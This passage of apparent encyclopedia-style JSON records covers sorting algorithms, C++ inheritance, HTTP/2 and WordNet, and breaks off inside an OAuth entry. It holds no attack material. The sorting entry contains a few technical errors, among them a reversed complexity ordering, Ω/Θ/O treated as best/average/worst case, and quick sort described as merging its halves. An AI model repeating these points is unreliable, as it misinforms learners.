sorting has to be carried out by storing data in files. Sorting algorithms can be implemented both internally and externally depending on memory requirement. \n\n\n### Explain some basic sorting algorithms.\n\nThe basic sorting algorithms include bubble, insertion and selection sort which make the sorting concept easier to understand. These algorithms are capable of sorting small amount of data and are not efficient with large data.\n\n**Bubble sort** swaps two consecutive out-of-order elements, do this repeatedly until no more swaps occur. It bubbles(moves) up the elements to its proper place that they belong in specified order. \n\n**Insertion sort** is an in-place, stable sorting technique that maintains two sub lists i.e. sorted and unsorted and progresses by comparing each consecutive element and inserting it in the correct order. \n\n**Selection sort** selects the maximum element from the data and keeps replacing it with the elements from the end for maintaining an ascending order. \n\n\n### What are some efficient sorting algorithms?\n\nSome efficient sorting algorithms include merge sort, quick sort and shell sort, heap sort that work well with large amount of data.\n\n**Merge sort** is based on the divide and conquer technique i.e. it partitions the given data into groups until each group contains single element and then sorts and merges each group iteratively to produce sorted list of data. \n\n**Quick sort** chooses a pivot element to partition the data. Both the sides are sorted by iteratively splitting and sorting and then merged in a way that the elements before the pivot have a value lesser than that of a pivot and vice versa. \n\n**Shell sort** is an improved insertion sort. An insertion sort exchanges consecutive elements but a shell sort can exchange far apart elements with each other which leads to an increase in the efficiency of the algorithm. \n\n\n### What are some distribution-based sorting algorithms?\n\nDistribution based sorting algorithms are those which divide the data into structures, sort it individually and then combine to get the sorted output. These include counting sort, bucket sort and radix sort. \n\n**Counting sort** is a non-comparison-based algorithm that groups all the elements into bins in the range 0 to k and then counts the number of elements less than or greater than a particular element to place it at the correct position. \n\n**Radix sort** uses any stable sort to sort the input according to the least significant digit followed by the next digit iteratively until we reach the most significant digit. It assumes the input consists of d-digit integers. \n\n**Bucket sort** assumes that the input is uniformly distributed and falls in the range [0, K). It uses a hash function to assign each element to a bucket. Then all the buckets are sorted using any sorting algorithm and then merged to get sorted data. \n\n\n### What is tree sort and heap sort?\n\n**Tree sort** utilizes the property of binary search trees to sort the elements. A binary search has the property that the value of the left child node is less than the parent node and the value of the right child node is greater than that of the parent node. So, this sorting algorithm first builds a binary search tree with the elements and then ouptuts the in order traversal of the binary search tree which gives the elements in sorted order. \n\n**Heap sort** first inserts the given elements into a heap and then deletes the root element to get the elements in sorted order. Max-heap has the property that the value of each node is greater than equal to its child nodes and vice versa for the min-heap. For example, a min-heap is build using the elements. The root is deleted repeatedly while maintaining heap property to get ascending order as the root is smallest element. \n\n\n### What is the time and space complexity of different sorting algorithms?\n\nTime complexity is the amount of time required by algorithm to execute as a function of input size. Similarly, space complexity refers to the amount of space required by algorithm to execute as function of input size. \n\nThe symbols to denote best-case time complexity is \\(Ω(n)\\), average-case time complexity is \\(Θ(n)\\) and worst-case time complexity is \\(O(n)\\). Time complexity order is same as mathematics 1>logn>n>nlogn>n^2.\n\nBubble sort and Insertion sort offer \\(Ω(n)\\) best-case time complexity and \\(O(n^2)\\) worst-case time complexity. The worst-case space complexity is \\(O(1)\\) as they are in place sorting.\n\nSelection sort offers \\(Ω(n^2)\\) best and worst-case time complexity as it is independent of the prior order of elements and \\(O(1)\\) space complexity. \n\nQuick sort and Merge sort offer \\(Ω(n \\cdot log(n)\\) best-case time complexity whereas worst-case time complexity of merge sort is \\(O(n \\cdot log(n)\\) but \\(O(n^2)\\) for quick sort because it depends on position of the pivot element. . The worst-case space complexity of merge sort is \\(O(n)\\) to store an extra array and that of stable quick sort is \\(O(log(n)\\) because of recursive calls. \n\n\n### When to use which sorting algorithm?\n\nChoosing a sorting algorithm entirely depends on the problem at hand.\n\nBubble sort is used for basic understanding of sorting algorithms and can detect already sorted data. . Bubble sort It is used to sort the TV channels according to user's viewing time. \n\nSelection sort is quite easy to implement and offers in-place sorting but does not perform well when the size of data increases. \n\nInsertion sort sorts the data as soon as it receives it and is quite adaptive i.e. works well with already sorted data. \n\nMerge sort is stable algorithm that can be implied when an efficient algorithm is needed. It is used where the data is accessed in sequential manner like tape drives and also in field of e-commerce. \n\nQuick sort works well with arrays and medium sized datasets. It is considered one of the fast sorting algorithms if the pivot element is chosen randomly and is employed by sport channels to sort scores. \n\nHeap sort is used when there is restriction on space complexity as it offers O(1) worst-case space complexity, i.e. utilises no extra space. It is employed in security and embedded system problems and used to sort linked list.\n\n## Milestones\n\n1890\n\nSorting originated in the late 1800s when Herman Hollerith was tasked with determining the population count, so he invented the sorting machine to sort one column at a time. \n\n1945\n\nJohn Von Neumann develops merge sort in 1945 and bottom-up merge sort in 1948. \n\n1946\n\nJohn Mauchly introduces insertion sort. \n\n1954\n\nRadix sort is developed at MIT by Harold H. Seward and is considered one of the first sorting algorithms. \n\n1956\n\nBubble sort initially called **'Sorting by Exchange'** is developed in 1956. Iverson coins the word bubble sort in 1962. \n\n1960\n\nTony Hoare invents quick sort in Moscow while working on a machine translation project and wanted to sort Russian sentences.","meta":{"title":"Sorting Algorithms","href":"sorting-algorithms"}}
{"text":"# C++ Inheritance\n\n## Summary\n\n\nInheritance is one of the most important principles of object-oriented programming. In C++, inheritance takes place between classes wherein one class acquires or inherits properties of another class. The newly defined class is known as **derived class** and the class from which it inherits is called the **base class**. Class inheritance reflects heredity in the natural world, where characteristics are transferred from parents to their children.\n\nIn C++, there are many types of inheritance namely, single, multiple, multilevel, hierarchical, and hybrid. C++ also supports different modes of inheritance. These are public, private, and protected.\n\nInheritance promotes *code reuse*. Reusing code not only makes code easy to understand but also reduces redundancy. Code maintenance is easier. Code reliability is improved.\n\n## Discussion\n\n### Could you explain C++ inheritance with an example?\n\nConsider two different classes, `Dog` and `Cat`. Both classes might have similar attributes such as breed and colour. In C++, such attributes are called **data members**. The classes might also have similar behaviours or actions such as eat, sleep and speak. In C++, such actions are implemented as **member functions**. Instead of writing similar code in two different classes we can create an `Animal` class that brings together common attributes and behaviours. Classes `Dog` and `Cat` can inherit from `Animal` class. They can add their own functionalities.\n\nIn this example, `Animal` is the base class, `Dog` and `Cat` are derived classes. We may say that (Animal, Dog) represents a parent-child relationship. Dogs are inheriting characteristics of animals. We may also say that `Animal` is a generalization of `Dog` and `Cat`; and `Dog` and `Cat` are specializations of `Animal`. \n\nDerived classes can specialize by adding extra data members and member functions. They can also **override** the general behaviour defined in the base class. \n\nInheritance in C++ follows a *bottom up* approach. Derived classes acquire properties from base classes but the reverse is not true.\n\n\n### What are different types of inheritance in C++?\n\nC++ supports many types of inheritance based on the number of base or derived classes and the class hierarchy:  \n\n    + **Single Inheritance**: A derived class inherits from only one base class. Eg. `class B` inherits from `class A`.\n    + **Multiple Inheritance**: A derived class inherits from more than one base class. Eg. `class C` inherits from both `class A` and `class B`.\n    + **Multilevel Inheritance**: The class hierarchy is deeper that one level. Eg. `class C` inherits from `class B` that itself is inherited from `class A`.\n    + **Multipath Inheritance**: A derived class inherits from another derived class and also directly from the base class of the latter. Eg. `class C` inherits from `class B` and `class A` when `class B` itself is inherited from `class A`.While the above types are about a single class, there are others that are about the structure of the class hierarchy. These are more design patterns than types:  \n\n    + **Hierarchical Inheritance**: A base class is specialized in many derived classes, which in turn are specialized into more derived classes.\n    + **Hybrid Inheritance**: This combines both multiple and hierarchical inheritance.\n\n### How does C++ deal with the diamond problem or ambiguity?\n\nThe **diamond ambiguity** can occur with multiple inheritance. It happens when the base classes themselves are derived from another common base class. The final derived class ends up with multiple copies of the distant base class. \n\nConsider D inheriting from classes B1 and B2, B1 inheriting from A, and B2 inheriting from A. Thus, D has multiple copies of A. The problem occurs when a call is made to a member of A from an instance of D. C++ compiler can't determine which copy of A to use. Compilation will fail.\n\nTo solve this problem, C++ uses the concept of **virtual inheritance**. When inheriting A, B1 and B2 will specify the `virtual` keyword. The compiler sees this and creates a single instance or copy of A within D. No `virtual` keyword is needed when defining D.  \n\nHaving multiple copies of a base class is not really an error. In fact, it's possible to define a class that uses both virtual and non-virtual inheritance. Ultimately, the compiler should be able to determine member access *unambiguously*. \n\n\n### What's the concept of name hiding in C++?\n\n**Name hiding** happens when a derived class has a member with the same name as a member of the base class. The derived class definition hides the base class definition. Thus, `Animal::age` is hidden by `Dog::age`. \n\nThe concept is also related to but different from **overriding**. For example, `Dog::speak()` if defined overrides `Animal::speak()`. In addition, `Dog::speak()` can explicitly call the base class implementation with the statement `Animal::speak()`. \n\nC++ also allows functions to be **overloaded**, which is about having multiple member functions of the same name that differ in their parameter types. So, we could have `Animal::speak()` and the `Dog` class that defines only `Dog::speak(const string&)`. Unfortunately, in this case, `Dog` class doesn't have access to `Animal::speak()`. In this case, we have name hiding, not overriding. \n\nIt's possible for `Dog` class to have access to `Animal::speak()` by simply including the line `using Animal::speak;` in its class definition. With this `using` directive, all the overloaded `speak()` functions of the base class become accessible in the derived class. \n\n\n### What is object slicing in C++?\n\nWhen a derived class object is typecast into one of its base classes, we're doing what's called **object slicing**. Conceptually, it's similar to typecasting a decimal number to an integer type, whereby the number loses it's decimal portion. With object slicing, the object loses members specialized in the derived class and retains only those parts of the base class to which it's been typecast. \n\nConsider a base class A and a derived class B. Consider object b of type B. Object slicing happens with the assignments `A a = b` and `A& a_ref = b`. Assignment operator is not virtual in C++. Hence, in these assignments the assignment operator of A is called and not that of B. \n\nThe figure shows another example. Base class defines data member `a` and virtual functions `bar1()` and `bar2()`. Derived class overrides `bar1()`, and adds `bar3()`, `bar4()` and `b`. An A-type slice of B can access `a`, derived class function `bar1()` and base class function `bar2()`. \n\n\n### What are compile-time and runtime bindings in the context of inheritance?\n\nIf the C++ compiler can determine what function to call at compile time, we call it **compile-time binding**, early binding or static dispatch. However, where virtual functions are defined in a base class and overridden by derived classes, the compiler can't know which function to call. This information is available only at runtime, giving rise to the terms **runtime binding**, late binding or dynamic dispatch.   \n\nSuppose classes `Square` and `Triangle` are derived from `Shape`. Consider member functions `virtual void Shape::area() {...}`, `void Square::area() {...}` and `void Triangle::area() {...}`. Also defined is the function `paintArea(Shape& shape) { int area = shape.area(); ... }`. Exactly which area function is called inside `paintArea()`? This is known only at runtime. \n\nUnder the hood, runtime binding relies on *vpointers* and *vtables*. Every class with virtual functions has a *vtable* that stores pointers to virtual function definitions. When a virtual function is overridden, the pointer would point to the derived class implementation. Every class with a *vtable* also has a *vpointer* that points to the correct *vtable*. \n\n\n### What are the rules of inheritance involving C++ abstract classes?\n\nAn abstract class in C++ has at least one pure virtual function, which essentially defines the interface but doesn't supply an implementation. Abstract classes are meant to be used as base classes for other class definitions. Abstract classes themselves can't be instantiated. Their very purpose is inheritance that conforms to an interface.\n\nAn abstract class can't be used as a parameter type, a function return type or the result of an explicit conversion. Pointers and references to an abstract class are allowed. \n\nIf a derived class inherits from an abstract class without supplying implementations, the derived class is also an abstract class. Thus, \"abstraction\" can be inherited. On the other hand, it's possible to inherit from a non-abstract base class, add pure virtual functions or override a non-pure virtual function with a pure virtual function, and thereby define an abstract derived class. \n\nWhen a pure virtual function is called from a constructor, the behaviour is undefined. \n\n\n### What are the different visibility modes in inheritance in C++?\n\nC++ supports three access specifiers: public, protected and private. These access specifiers are used on data members and member functions. If not explicitly mentioned, private access is the default.  \n\nLikewise, a derived class can use an access specifier on each of its base classes. Available access specifiers are public, protected, and private. Where multiple inheritance is used, each base class can have a different access specifier. If not explicitly mentioned, private inheritance is the default. \n\nRegardless of the access specifier on the base class, base class private members will remain private; that is, derived class can't access them. For public and protected members of base class, we summarize how access specifier on the base class affects access to members of the derived class:  \n\n    + **Public**: Public and protected members of base class become public and protected members of derived class respectively.\n    + **Protected**: Public and protected members of base class become protected members of derived class.\n    + **Private**: Public and protected members of base class become private members of derived class.\n\n### What's the influence of access specifiers on virtual functions?\n\nThe figure shows three examples involving the member function `A::name()`. In (a), the function is non-virtual. Hence, when it's called via the base class pointer, `A::name()` is called. This is really compile-time binding.\n\nIn (b), the function is made virtual. Now when the same call is made, runtime binding happens and `B::name()` is called. Although `B::name()` is private, it's called via the base class pointer and `A::name()` itself is public. \n\nIn (c), we make the inheritance protected. This makes `A::name()` protected in the derived class. This means that it can't be called from outside the class, such as from `main()`. Hence we get a compile-time error just as if `B::name()` had been declared protected or private. \n\n\n### How is inheritance of struct different from that of class?\n\nData structure `struct` comes from C programming language and is applicable in C++ as well. C++ extends `struct` so that it can include member functions. Like `class`, a `struct` definition can also be inherited. \n\nThe main difference is that when access specifiers aren't specified, `struct` members are public by default whereas `class` members are private by default.  Likewise, when access specifiers are omitted in inheritance, `struct` inheritance is public by default whereas `class` inheritance is private by default. \n\nFor completeness, we note that there's also `union` that comes from C. It's members are public by default. Unions can't be used as base classes. \n\n\n### What are the workings of C++ class constructors and destructors?\n\nConstructors and destructors were traditionally not inherited. Since C++11, constructors could be inherited.  \n\nBase class constructors are called before derived class constructors. In the case of multiple inheritance, base classes constructors are called in the depth-first left-to-right order of inheritance in the derived class. Destructors execute in reverse order.\n\nConstructors have be defined as public or protected so that derived class constructors can call base class constructors. \n\nConstructors need not be virtual: constructors are always called by name. Destructors have to be virtual. In other words, it's not sufficient to destroy only the base class object. We need to destroy the original derived class object. \n\n\n### What are the main criticisms of C++ inheritance?\n\nInheritance in C++ is complex. Even a single inheritance has six variants: private/protected/public and virtual/non-virtual. With multiple inheritance, this complexity increases. The utility of a private virtual function is rather limited. \n\nThe designer of a base class decides if a member function must be declared virtual. Derived class can't control this or prevent calls to base class non-virtual functions. Virtual inheritance is also a problem since the decision is made early. It prevents defining a derived class that wants two copies of the distant base class. \n\nC++ implementation of polymorphism via virtual functions can impact performance. Virtual member functions are not directly called. Instead, they've to be looked up via *vpointer* and *vtable*. \n\n## Milestones\n\nApr  \n1979\n\nAt Bell Laboratories, inspired by Simula, Bjarne Stroustrup conceives the idea of *C with Classes*. The new language would combine the low-level features of C and high-level code organization of Simula. Even in these early days, the language includes classes, class hierarchies and **simple inheritance**. Also included are **private and public inheritance** of a base class. \n\n1983\n\nTo support runtime polymorphism, **virtual functions** are added to the language. Only with the introduction of virtual functions, the language claims to support **object-oriented programming**. This is also when the first implementation becomes available to users. Subsequently, the language is renamed to *C++* (1984) and the first commercial release happens (1985). \n\nJun  \n1989\n\nC++ 2.0 is released. This includes support for **multiple inheritance** and **abstract class**. Abstract classes provide a \"cleaner separation between a user and an implementor\" and reduces compile times. \n\nSep  \n2011\n\nISO publishes the C++11 standard, formally named ISO/IEC 14882:2011. This release introduces identifiers `override` and `final`. These help manage complex class hierarchies. They can be applied on virtual member functions when overridden in a derived class. Identifier `final` can also be applied to a class so that it can't be inherited. **Constructors can now be inherited** with the `using` declaration.  This is useful when a derived object needs to be initialized in the same way as the base object. \n\nDec  \n2017\n\nISO publishes the C++17 standard, formally named ISO/IEC 14882:2017. It's now possible to do **aggregate initialization involving derived and base classes**.","meta":{"title":"C++ Inheritance","href":"c-plus-plus-inheritance"}}
{"text":"# HTTP/2\n\n## Summary\n\n\nHTTP/2 is an alternative to HTTP/1.x that has been the workhorse protocol of the web for about 15 years. The older version served well in the days when web pages were simple. In February 2017, an average web page is seen to have more than a hundred assets -- JS files, CSS files, images, font files, iframes embedding other content, and more. This means that the browser has to make multiple requests to the server for a single page. User experience is affected due to long load times. HTTP/2 aims to solve these problems.\n\nIn particular, HTTP/2 allows multiple requests in parallel on a single TCP connection. HTTP/1.x allowed only a single request. HTTP/2 is also more bandwidth efficient since it uses binary encoding and compresses headers. It allows for Server Push rather than relying only on client requests to serve content.\n\n## Discussion\n\n### Are there any published results to show that HTTP/2 is better?\n\nAs of February 2017, a test comparing plain HTTP/1.1 against encrypted HTTP/2 showed that former is 73% percent slower. The server was in Dallas and the client was in Bangalore for this test. Early testing of HTTP/2 done in January 2015 showed that HTTP/2 uses fewer header bytes due to header compression. Its response messages were also smaller when compared against HTTP/1.1. For page loads, HTTP/2 took 0.772 seconds whereas HTTP/1.1 took 0.988 seconds. \n\n\n### How is the support for HTTP/2 from browsers and servers?\n\nIn 2015, popular browsers started supporting HTTP/2. This includes Chrome, Firefox, Safari, Opera and Edge. Chrome for Android started support in February 2017. \n\nAt the server side, W3Techs reported that as of February 2017 12% of the servers support HTTP/2. Of these, 77% were on Nginx and 18% were on LiteSpeed. We see that when platforms that host a number of domains start supporting HTTP/2, there's a spike in HTTP/2 traffic. This can be seen when WordPress, CloudFlare, Blogspot and Wikipedia started support for the protocol. Apache introduced it on an experimental basis in version 2.4.17. KeyCDN reported that as of April 2016 68% of its traffic is HTTP/2. \n\n\n### Are there any security vulnerabilities with HTTP/2?\n\nIn August 2016, Imperva, Inc. reported four security vulnerabilities. These should be seen as implementation flaws rather than flaws in the protocol itself. At least one of these vulnerabilities was found in five different server implementations, which were subsequently fixed.\n\n\n### Is the use of encryption mandatory for HTTP/2?\n\nNo. However, major browsers have said that they will support HTTP/2 only over TLS. The use of HTTP/2 over TLS is referred to as *h2*. The use of HTTP/2 over TCP, implying cleartext payload, is referred to as *h2c*.\n\n\n### Do I have to change my application code when migrating to HTTP/2?\n\nNo. The idea of HTTP/2 was to improve the way packets are \"put on the wire.\" For reasons of interoperability, HTTP Working Group was clear that the semantics of using HTTP should not be changed. This means that headers, methods, status codes and cache directives present in HTTP/1.x will remain the same in HTTP/2 as well. The semantics of HTTP remain unchanged. Hence, application code need not be changed. \n\nOf course, if you're building your own server code or custom client code, you will need to update these to support HTTP/2. The binary framing layer of HTTP/2 headers is not compatible with HTTP/1.x but this affects only HTTP clients and servers. A HTTP/1.1 client cannot talk to a server that supports only HTTP/2. \n\nIf your application is using any of the well-known \"best practices\" for better performance over HTTP/1.1, the recommendation is to remove these best practices. The bigger migration challenge may be to use HTTP/2 over a secure connection if your applications are not currently using TLS.\n\n\n### Didn't HTTP pipelining already solve this problem in HTTP/1.1?\n\nHTTP/1.0 was really a stop-and-wait protocol. The client could not make another request until response to the pending request was received. HTTP/1.1 attempted to solve this by introducing HTTP Pipelining, which allows a client to send multiple requests to the server in a concurrent manner. Requirement from the server was that responses must be sent out in the same order in which requests were received.\n\nIn the real world, performance improvement due to pipelining is not proven. Proxies when implemented wrongly can lead to erroneous behaviours. Other factors including round trip time, packet size and network bandwidth affect performance. There's also the problem of head-of-line blocking whereby packets pending from one request can block other pipelined requests. For these reasons, most modern browsers disable HTTP pipelining by default. \n\n\n### What sort of hacks did developers use to improve performance before HTTP/2?\n\nSome of the \"best practices\" to improve performance were really hacks to overcome the limitations of HTTP/1.x. These included domain sharding, inlining, image sprites and concatenation. The idea was to minimize the number of requests. With the coming of HTTP/2, these hacks will no longer be required.\n\nThere's one trick that browsers have used to improve performance without using HTTP pipelining. Browsers opened multiple TCP connections to enable concurrent requests. As many as six requests were used per domain. This is the reason why some applications deployed their content across domains so that multiple TCP connections to multiple domains will lead for faster page loads. With HTTP/2, multiple TCP connections will not be required. Multiple HTTP requests can happen on a single TCP connection. \n\n\n### What's the rationale for using binary encoding?\n\nHTTP/1.x was a textual protocol, which made it easier to inspect and debug the messages. But it was also inefficient to transmit. Implementation was also complex since the presence of newlines and whitespaces resulted in variations of the message, all of which had to be decoded properly by the receiver. Binary formats are more efficient since fewer bytes are needed. Since the structure is fixed, decoding becomes easier. Debugging a binary protocol is more difficult but with the right tool support it's not much of a problem. Wireshark supports decoding and analysis of HTTP/2 over TLS. \n\n\n### Can you give some details of multiplexing HTTP requests on a single TCP connection?\n\nHTTP/2 defines three things: \n\n    + Frame: Smallest unit of transmission that contains its own header.\n    + Message: A sequence of frames that correspond to a HTTP request or response.\n    + Stream: A bidirectional flow of messages and identified by a unique identifier.Thus, multiple streams are multiplexed (and interleaved) on to a single TCP connection. Each stream is independent of others, which means that even if one is blocked or delayed, others are not affected. HTTP/2 also allows prioritization of streams, which was not possible with HTTP/1.1.\n\n\n### How is header compression done in HTTP/2?\n\nHeaders in HTTP/1.x can typically 500-800 bytes but can grow to the order of kilobytes since applications use headers to include cookies and referers. It therefore makes sense to compress these headers. HPACK is the name give to HTTP/2 header compression. It was approved by IETF in May 2015 as RFC 7541. \n\nHuffman coding is used to compress each header frame, which always appears at the start of each message within a stream. In addition, many fields of the header will remain the same across messages. HPACK removes this redundancy by replacing the fields with indices that point to tables that map these indices to actual values. There are predetermined static tables defined by HPACK. Dynamic tables allow further compression. \n\nA test on CloudFlare gave 76% compression for ingress headers, which translates to 53% savings on total ingress traffic. The equivalent numbers for egress are 69% and 1.4%. Results also showed that with more traffic, the dynamic table grows, leading to higher compression. KeyCDN reported savings of 30% on average. \n\n\n### How does Server Push improve performance?\n\nIn a typical client-server interaction, the client will request one page, parse it and then figure out other assets that need to be requested from the server. Server Push is a feature that enables the server to push assets without the client asking for it. For example, if a HTML page references images, JS files and CSS files, the server can send these after or before sending the HTML page. Each pushed asset is sent on its own stream and therefore can be prioritized and multiplexed individually. \n\nSince Server Push changes the way clients and servers interact, it's still considered experimental. Wrong configuration could lead to worse performance. For example, the server may push an asset even if the client has cached it from an earlier request. Likewise, servers may push too much data and affect user experience. Proper use of cookies, cache-aware Server Push and correct server configuration can aid in getting Server Push right. \n\n## Milestones\n\n2012\n\nIETF's HTTP Working Group begins looking at Google's **SPDY** protocol as a starting point for defining HTTP/2. \n\nFeb  \n2015\n\nIESG approves HTTP/2 as a **proposed standard**. \n\nMay  \n2015\n\nHTTP/2 is published as **RFC 7540**.","meta":{"title":"HTTP/2","href":"http-2"}}
{"text":"# WordNet\n\n## Summary\n\n\nWordNet is a database of words in the English language. Unlike a dictionary that's organized alphabetically, WordNet is organized by concept and meaning. In fact, traditional dictionaries were created for humans but what's needed is a lexical resource more suited for computers. This is where WordNet becomes useful. \n\nWordNet is a network of words linked by lexical and semantic relations. Nouns, verbs, adjectives and adverbs are grouped into sets of cognitive synonyms, called **synsets**, each expressing a distinct concept. Synsets are interlinked by means of conceptual-semantic and lexical relations. The resulting network of meaningfully related words and concepts can be navigated with the WordNet browser. \n\nWordNet is freely and publicly available for download.\n\n## Discussion\n\n### What's the distinction between WordNet and a thesaurus?\n\nA thesaurus provides similar words (synonyms) and opposites (antonyms). WordNet does much more than this. Via synsets, WordNet brings together specific word senses. As a result, words that are found in close proximity to one another in the network are semantically disambiguated. \n\nA synset is also linked to other synsets by semantic relations. Such relations are missing in a thesaurus. These relations are based on concepts and therefore give us valuable information about words. For example, the verbs (communicate, talk, whisper) are all about talking but the manner goes from general to specific. A similar example with nouns would be (furniture, bed, bunkbed). An example of a part-whole relation is (leg, chair). These sorts of relations are captured in WordNet. \n\nThe nodes of WordNet are synsets. Links between two nodes are either **conceptual-semantic** (bird, feather) or **lexical** (feather, feathery). Lexical links subsume conceptual-semantic links. \n\n\n### Could you explain WordNet's synsets with an example?\n\nConsider the word 'bike'. It has multiple meanings. It could be a motorcycle (noun), a bicycle (noun) or bicycle (verb). WordNet represents these as three synsets with unique names: `motorcycle.n.01`, `bicycle.n.01` and `bicycle.v.01`. \n\nEach synset has an array of lemma names that share the same concept. Thus, `motorcycle.n.01` has the words 'motorcycle' and 'bike'. The synset also has a definition, also called **gloss**. It now becomes clear that the word 'bike' must be present in all the three synsets, each representing a different concept or meaning. \n\nIt's also possible to move from one synset to another by certain relations. For example, `motor_vehicle.n.01` is a more general concept of `motorcycle.n.01` whereas `minibike.n.01` and `trail_bike.n.01` are more specific concepts of `motorcycle.n.01`. Thus, synsets are linked by relations making WordNet a network of conceptually related words.\n\n\n### What is WordNet used for?\n\nWordNet is typically used by linguistics, psychologists and those working in the fields of AI and NLP. Among its many applications are word sense disambiguation, information retrieval, automatic text classification, automatic text summarization, and machine translation. \n\nWordNet can be used as a thesaurus except that words are organized by concept and semantic/lexical relations. In NLP, WordNet has become a useful tool for word sense disambiguation. When a word has multiple senses, WordNet can help in identifying the correct sense. WordNet's symbolic approach complements statistical approaches. \n\nMeasuring similarity between words is another application. Different algorithms exist to measure word similarity. Such a similarity measure can be used in spelling checking or question answering. However, WordNet is limited to noun-noun or verb-verb similarity. We can't compare nouns and verbs, or use other parts of speech. \n\nWhere neural networks are used for NLP work, word embeddings (low-dimensional vectors) are used. However, word embeddings don't discriminate different senses. WordNet has been applied to create **sense embeddings**. \n\n\n### What are major lexical relations captured in WordNet?\n\nMajor lexical relations include the following: \n\n    + **Synonymy**: Synonyms are words that have similar meanings. Often context determines which synonym is best suited.\n    + **Polysemy**: Polysemous words have more than one sense. The word bank can mean river bank, where money is stored, a building, or institution. Polysemy is associated with the terms *homonymy* and *metonymy*.\n    + **Hyponymy/Hypernymy**: Is-a relation. Robin is a hyponym of bird since robin is a type of bird. Likewise, bird is a hypernym of robin. Thus, hypernyms are synsets that are more general whereas hyponyms are more specific.\n    + **Meronymy/Holonymy**: Part-whole relation. Beak is meronym of bird since beak is part of a bird's anatomy. Likewise, bird is holonym of beak. WordNet identifies three types of relations: components (leg, table), constituents (oxygen, water), and members (parent, family).\n    + **Antonymy**: Lexical opposites such as (large, small).\n    + **Troponymy**: Applicable for verbs. For example, whisper is a troponym of talk since whisper elaborates on the manner of talking.\n\n### What are some limitations of WordNet?\n\nWordNet doesn't include syntactic information, although later work showed that at least for verbs there's correlation between semantic makeup and syntactic behaviour. \n\nSemantic relations are more suited to concrete concepts, such as tree is a hypernym of conifer. It's less suited to abstract concepts such as fear or happiness where it's hard to identify hyponym/hypernym relations. Some relations may also be language specific and therefore can make different wordnets less interoperable. \n\nWordNet's senses are sometimes too fine-grained for automatic sense disambiguation. One possible solution is to group related senses. \n\nWordNet doesn't include information about the etymology. Thus, word origins and how they've evolved over time are not captured. Offensive words are also included and it's left to applications to decide what's offensive since meanings change over time. Pronunciation is missing. There's limited information about usage. WordNet covers most of everyday English but doesn't include domain-specific terminology. \n\nWordNet was created in the mid-1980s when digital corpora were hard to come by. WordNet was assembled by the intuition of lexicographers rather than by a corpus-induced dictionary. \n\n## Milestones\n\n1928\n\nMurray’s Oxford English Dictionary (OED) is compiled \"on historical principles\". By focusing on historical evidence, OED, like other standard dictionaries, neglects questions concerning the synchronic organization of lexical knowledge. \n\n1969\n\nCollins and Quillian propose a **hierarchical semantic memory model** for storing information in computer systems. They hypothesize that human memory is in fact organized in this manner. They test their hypothesis by measuring retrieval times. For example, if a person is asked if a canary can fly, the actual retrieval might involve inference from a memory that contains \"canary is a bird\" and \"birds can fly\". This important work goes on to influence the creation of WordNet almost two decades later. \n\n1976\n\nMiller and Johnson-Laird propose **psycholexicology**, a study of the lexical component of language, which is about words and vocabulary of a language. \n\n1985\n\nSome psychologists and linguists at Princeton University start developing **a lexical database**. While a dictionary helps us search for words alphabetically, a lexical database allows us to search based on concepts. This marks the beginning of **Princeton WordNet**. We can say that it's a dictionary based on psycholinguistic principles. \n\n1991\n\n**WordNet 1.0** is released. \n\n1996\n\n**EuroWordNet** is started as an EU project covering languages Dutch, Spanish and Italian. It's inspired by and is designed to link to the Princeton WordNet. In 1997, more languages are added: German, French, Czech and Estonian. The project is completed towards the end of 1999. One novel feature is the *Inter-Lingual-Index (ILI)* that defines equivalence relations between synsets in different languages. In later years, this work is extended by other projects: EUROTERM, BALKANET, and MEANING. By 2006, it's noted that databases exist for 35 languages globally. \n\nMar  \n2005\n\n**WordNet 2.1** is released. There's support for UNIX-like systems and Windows. WordNet 2.1 contains almost 118,000 synsets, comprising more than 81,000 noun synsets, 13,600 verb synsets, 19,000 adjective synsets, and 3,600 adverb synsets. \n\nDec  \n2006\n\n**WordNet 3.0** is released. This release has 117,798 nouns, 11,529 verbs, 22,479 adjectives, and 4,481 adverbs. The average noun has 1.23 senses, and the average verb has 2.16 senses. \n\nJun  \n2011\n\n**WordNet 3.1** is released. It's available only online. It's possible to download only the database and use the installation from 3.0. This version contains 155,327 words organized in 175,979 synsets for a total of 207,016 word-sense pairs. It's compressed size is 12MB. \n\nJun  \n2018\n\nUnder the guidance of Global WordNet Association, the **English WordNet** is created on GitHub as a fork of the Princeton WordNet 3.1. Annual updates of this resource happen in April 2019 and April 2020.","meta":{"title":"WordNet","href":"wordnet"}}
{"text":"# OAuth\n\n## Summary\n\n\nOAuth is an authorization framework that allows a third-party application to access private resources of a user when those resources are stored as part of another web service. For example, a user has an account with GMail or Facebook. The user visits a gaming platform that requests access to the user's basic profile on GMail or Facebook. OAuth allows the user to authorize this gaming platform to access the profile. \n\nThe strength of OAuth lies in the fact that the user's credentials (username, password) are not shared with third-party services. Such credentials are used only between the resource owner (user) and the authorization server. Thus, OAuth is for authorization, not authentication. In addition, the user can at any point revoke this authorization.\n\n## Discussion\n\n### Why was OAuth invented in the first place?\n\nBack in 2006, Blaine Cook was investigating a means to grant third-party applications access to Twitter API via delegated authentication. He considered using OpenID for this purpose but found it unsuitable. The idea was that users should not be required to share their usernames and passwords to third-party applications.\n\nThere were at the time other frameworks but they were not open standards: Flickr Auth, Google AuthSub and Yahoo! BBAuth. OAuth was thus invented as an open framework for authorization without even specifying the methods of authentication. In fact, it's been said that OAuth was written by studying and adopting the best practices from these early proprietary methods. \n\n\n### What are the available OAuth roles?\n\nFour roles are defined in the standard: \n\n    + **Client** is the application requiring access to protected resources.\n    + **Resource Owner** is the entity owning the resource. It's usually a person, called end-user. Resource owner gives authorization to client to access protected resources.\n    + **Authorization Server** does authentication of the resource owner and handles authorization grants coming from the client. It gives out access tokens.\n    + **Resource Server** manages protected resources based on access tokens presented by clients.As an example, a gaming application (client) requires the profile of a gamer (resource owner) from her GMail account. Access to the gamer's GMail profile (protected resource) is authorized by the gamer. The GMail service encapsulates both the authorization and resource servers. Implementations have the choice to combine authorization and resource servers into a single server, but they might just as well be different servers. \n\n\n### Could you briefly describe the protocol flow?\n\nOAuth specifies different authorization grant types, each of which has its own flow. We can summarize the flow as made up of these steps: obtain authorization from user, exchange this authorization for an access token, use the token to access protected resources. \n\nDelving into the details, OAuth flows can be related to the level of confidentiality involved. If the client is a web application, then it's a confidential client since client ID and secret key are kept on the client server. If the client is a user-agent (web browser) or a native application running on a device with the resource owner, then it's a public client. From this perspective, we can look at flows in this manner: \n\n    + **Confidential**: client credentials flow, password flow, authorization code flow\n    + 